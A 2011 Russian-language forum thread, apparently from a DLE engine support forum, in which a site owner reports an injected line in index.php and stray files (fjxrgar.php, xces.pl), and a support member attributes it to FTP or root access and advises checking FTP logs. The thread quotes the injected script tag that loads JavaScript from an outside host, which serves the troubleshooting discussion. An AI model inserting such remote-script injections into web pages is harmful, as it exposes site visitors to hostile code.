KypbmaRu 0 Опубликовано: 24 марта 2011 Рассказать Опубликовано: 24 марта 2011 (изменено) в общем суть проблемы такова: внезапно сайт отваливается с ошибкой в index.php естественно первым делом иду туда и нахожу лишнюю строку в конце файла: GzipOut (); ?<html><body><script type="text/javascript" src="http://nw-company.cz.cc/media.js"> </script></body></html>> также в корне сайта нашел еще 2 файла, которых там быть не должно... вопрос такой: залили ли мне файлы?, если да то как закрыть дырку, или это вирус?, и опять же как закрыть дырку? сайт http://www.kypbma.ru/ движок 9.2 файлы могу скинуть на почту чтобы Вы их посмотрели... тут не нашел как их загрузить... p.s. лишние файлы имеют названия: 1. fjxrgar.php 2. xces.pl Изменено 24 марта 2011 пользователем KypbmaRu Цитата Ссылка на сообщение Поделиться на других сайтах
celsoft 6 088 Опубликовано: 24 марта 2011 Рассказать Опубликовано: 24 марта 2011 Изменяется этот файл не через скрипты, т.к. на индексный файл вообще нет прав на запись у скриптов, значит прописывается с правами выше чем есть у скриптов. Это FTP или root доступ к серверу. Рекомендуем вам прочитать темы: http://forum.dle-news.ru/index.php?s=&showtopic=39386&view=findpost&p=175979 http://forum.dle-news.ru/index.php?showtopic=32928&hl=iframe Там описано как это может происходить. Вам нужно поднимать FTP логи сервера у хостинг провайдера и смотреть кто заходил по этим данным. Цитата Ссылка на сообщение Поделиться на других сайтах
KypbmaRu 0 Опубликовано: 24 марта 2011 Рассказать Опубликовано: 24 марта 2011 Автор уже везде облазил, все файлы левые по-удалял, но все равно сайт не корректно работает, куда это добро может прописываться еще не подскажите? Цитата Ссылка на сообщение Поделиться на других сайтах
celsoft 6 088 Опубликовано: 24 марта 2011 Рассказать Опубликовано: 24 марта 2011 KypbmaRu, Что именно некорректно работает уточните. Строки <body><script type="text/javascript" src="http://nw-company.cz.cc/media.js"> </script></body></ у вас на страницах больше нет. Цитата Ссылка на сообщение Поделиться на других сайтах
Рекомендованные сообщения
Присоединяйтесь к обсуждению
Вы можете опубликовать сообщение сейчас, а зарегистрироваться позже. Если у вас есть аккаунт, войдите в него для написания от своего имени.